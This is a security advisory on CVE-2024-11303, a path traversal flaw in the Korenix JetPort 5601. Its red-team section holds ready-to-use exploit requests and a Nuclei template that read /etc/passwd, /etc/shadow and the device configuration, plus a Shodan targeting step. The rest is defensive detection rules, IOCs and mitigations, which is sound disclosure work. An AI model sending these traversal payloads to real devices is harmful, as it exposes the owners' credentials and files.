CVE-2024-11303

Executive Summary

CVE-2024-11303 is a critical path traversal vulnerability affecting the Korenix JetPort 5601 device server, specifically firmware version 1.2 and earlier. The vulnerability allows an unauthenticated attacker to read arbitrary files from the device's filesystem by manipulating the URL path with encoded directory traversal sequences (e.g., %2e%2e/). This can lead to the exposure of sensitive configuration files, credentials for connected serial devices, and other system information. The vulnerability has a CVSS v3.1 score of 7.5 (High) and a public proof-of-concept (PoC) exploit is available via a Nuclei template. No official patch has been released by Korenix at this time.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity: Low (AC:L) - No special conditions are required for exploitation.
• Privileges Required: None (PR:N) - No authentication is needed.
• User Interaction: None (UI:N) - The victim does not need to perform any action.
• Scope: Unchanged (S:U) - The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) - Sensitive files can be read.
• Integrity Impact: None (I:N) - No file modification is possible.
• Availability Impact: None (A:N) - The service remains operational.

Threat Level: High. The combination of network exploitability, no authentication requirement, and public PoC makes this a significant risk for any organization using the affected device.

Deep Dive & Mechanics

The vulnerability resides in the web server component of the Korenix JetPort 5601 device server. The device fails to properly sanitize user-supplied input in HTTP GET requests, specifically the path component of the URL. By encoding directory traversal sequences (e.g., %2e%2e/ which decodes to ../), an attacker can escape the intended web root directory and access arbitrary files on the device's filesystem.

The root cause is a lack of input validation and path canonicalization. The web server likely uses a function that resolves the requested path without checking for traversal sequences, allowing the attacker to navigate to sensitive system files such as /etc/passwd, configuration files, or credential stores.

Attack Flow:

1. The attacker sends a GET request to the device with a path like /%2e%2e/%2e%2e/etc/passwd.
2. The web server decodes the URL-encoded characters, resulting in ../../etc/passwd.
3. The server resolves the path relative to the web root, but due to the traversal, it moves up directories and accesses /etc/passwd.
4. The server reads the file and returns its contents in the HTTP response.

This vulnerability is classified as CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely resembles a simple file serving function that does not validate the path:

def serve_file(request):
    path = request.path
    # No sanitization or path canonicalization
    file_content = open(path, 'r').read()
    return file_content

Patched Code (Conceptual): A patched version would include validation to ensure the resolved path stays within the web root:

import os

def serve_file(request):
    base_directory = "/var/www"
    requested_path = request.path
    # Canonicalize the path and ensure it is within the base directory
    full_path = os.path.realpath(os.path.join(base_directory, requested_path))
    if not full_path.startswith(base_directory):
        return "Access Denied", 403
    file_content = open(full_path, 'r').read()
    return file_content

Note: Since no official patch is available, the above is a recommended mitigation approach.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Korenix JetPort 5601 device with firmware version 1.2 or earlier.
• Network access to the device's web interface (typically port 80 or 443).

Exploitation Steps:

1. Identify the target: Use Shodan or a network scan to find devices with the default web interface.

2. Send the exploit request: Use curl or a web browser to send a crafted GET request.

   curl -v "http://<target-ip>/%2e%2e/%2e%2e/etc/passwd"
   

3. Verify the response: If successful, the response will contain the contents of /etc/passwd and the Content-Type header will be text/plain.

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Additional Payloads:

• Read configuration files: /%2e%2e/%2e%2e/etc/config/jetport.conf
• Read credential files: /%2e%2e/%2e%2e/etc/shadow

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing %2e%2e or ../ sequences.
• Look for HTTP 200 responses with text/plain content type for non-standard paths.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Defense:

• Immediate: If possible, restrict network access to the device's web interface using firewall rules or VLAN segmentation.
• Mitigation: Implement a reverse proxy (e.g., Nginx) in front of the device to filter out path traversal attempts.
• Long-term: Contact Korenix for a firmware update or consider replacing the device if no patch is forthcoming.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to paths containing %2e%2e or ../ sequences.
  • HTTP responses with status 200 and Content-Type: text/plain for non-standard paths.
  • Source IP addresses performing repeated traversal attempts.

• File System IOCs:

  • Unauthorized access to /etc/passwd, /etc/shadow, or configuration files.
  • Modified or accessed files outside the web root.

• Log IOCs:

  • Web server logs showing requests like GET /%2e%2e/%2e%2e/etc/passwd HTTP/1.1.

Detection Engineering

YARA Rule

rule CVE_2024_11303_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting Korenix JetPort 5601"
        author = "Valters IT"
        date = "2024-11-15"
        reference = "CVE-2024-11303"
        hash = "490a00463044022034ae78a98b9b4d6b96564acc67a7a35a779311bf64b4d845132c11a41326c291022075fccf976b9834bf6af986fcae9abb062a1d074a8e905053cf41103390acea2f"

    strings:
        $traversal1 = "%2e%2e/"
        $traversal2 = "../"
        $passwd = "/etc/passwd"
        $shadow = "/etc/shadow"

    condition:
        any of ($traversal*) and any of ($passwd, $shadow)
}

Sigma Rule

title: CVE-2024-11303 Path Traversal Attempt on Korenix JetPort 5601
id: 7b8c3d2e-1f4a-5b6c-7d8e-9f0a1b2c3d4e
status: experimental
description: Detects HTTP requests with path traversal sequences targeting Korenix JetPort 5601
author: Valters IT
date: 2024-11-15
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11303
    - https://seclists.org/fulldisclosure/2024/Nov/8
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '%2e%2e/'
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in web applications (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11303 Korenix JetPort 5601 Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"%2e%2e/"; http_uri; content:"/etc/passwd"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2024-11303

info:
  name: Korenix JetPort 5601v3 - Path Traversal
  author: geeknik
  severity: high
  description: |
    The pathname of the root directory to a Restricted Directory ('Path Traversal') vulnerability in Korenix JetPort 5601 allows Path Traversal.This issue affects JetPort 5601- through 1.2.
  impact: |
    Unauthenticated attackers can exploit path traversal to read arbitrary files from the JetPort device server, potentially accessing sensitive configuration files and credentials for connected serial devices.
  remediation: |
    Update Korenix JetPort 5601 to a version newer than 1.2 that properly validates and sanitizes file paths to prevent directory traversal attacks.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11303
    - https://seclists.org/fulldisclosure/2024/Nov/8
    - https://www.korenix.com/en/about/index.aspx?kind=3
    - https://cyberdanube.com/en/en-st-polten-uas-path-traversal-in-korenix-jetport/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-11303
    cwe-id: CWE-22
    epss-score: 0.14923
    epss-percentile: 0.94575
  metadata:
    max-request: 1
    vendor: korenix
    product: jetport_5601
  tags: seclists,cve,cve2024,korenix,lfi,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e/%2e%2e/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body
        words:
          - "text/plain"

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the JetPort 5601 behind a firewall and restrict access to the web interface to trusted IP addresses only.
2. Disable web interface: If not required, disable the web interface entirely and manage the device via serial console or other secure methods.
3. Monitor logs: Enable logging and monitor for path traversal attempts.

Long-term Solutions:

1. Firmware Update: Contact Korenix support for a patched firmware version. If unavailable, consider replacing the device with a more secure alternative.
2. Reverse Proxy: Deploy a reverse proxy (e.g., Nginx, Apache) that filters out path traversal sequences before they reach the device.
3. Network Segmentation: Place the device on a separate VLAN with strict access controls.

Workaround (if patching is not possible):

• Implement a Web Application Firewall (WAF) rule to block requests containing %2e%2e or ../ in the URL path.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: C410BF91B8699EAA3EE7A028] */}